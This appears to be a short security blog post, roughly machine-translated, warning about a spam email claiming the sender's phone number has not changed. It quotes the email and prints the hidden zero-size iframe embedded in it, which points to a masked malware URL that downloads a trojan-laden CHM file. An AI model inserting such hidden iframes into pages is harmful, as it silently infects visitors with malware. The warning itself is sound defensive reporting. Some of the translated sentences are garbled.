Be careful when the subject is: "My number hasn't changed, it's still the original one !" Infected emails

EndurerOriginal

1Version

Today, I received an email with a virus:

Subject: My number hasn't changed. It's still the original one!
Sender: jinzhuanmanwu@21cn.com
Mad at me !!! Some time ago, my mobile phone was stolen. Fortunately, I made up the card, but the phone numbers stored in it were gone and many friends couldn't contact me. Fortunately, you still have an email on your computer to help me contact you .. Please help me to inform other friends that my phone number has not changed. I 'd like to give me a call and I will save your phone number again.
Mad at me !!! Some time ago, my mobile phone was stolen. Fortunately, I made up the card, but the phone numbers stored in it were gone and many friends couldn't contact me. Fortunately, you still have an email on your computer to help me contact you .. Please help me to inform other friends that my phone number has not changed. I 'd like to give me a call and I will save your phone number again.

Malicious Code is inserted into the body:

<IFRAME src = "hxxp: // 2008. *** e2.7868.net/service/bj/a.htm" name = "zhu" width = "0" Height = "0" frameborder = "0">

This correspondsBe careful with the subject: "How are you doing recently? Why can't I contact you ?"Similarly, hxxp: // 2008. *** the e2.7868.net/service/bj/a.htmcode is the same. In the same example, a malicious file named a.chmis is downloaded.

However, the size of a. chm downloaded this time is 333,740 bytes, including a virus, and Kaspersky reportsTrojan-Dropper.Win32.Pakes.

The theme of caution is: "How are you doing recently? The size of a. chm downloaded from the "infected email cannot be reached" is 333,722 bytes, which contains two viruses.Exploit. html. codebaseexecAndTrojan-Dropper.Win32.Pakes.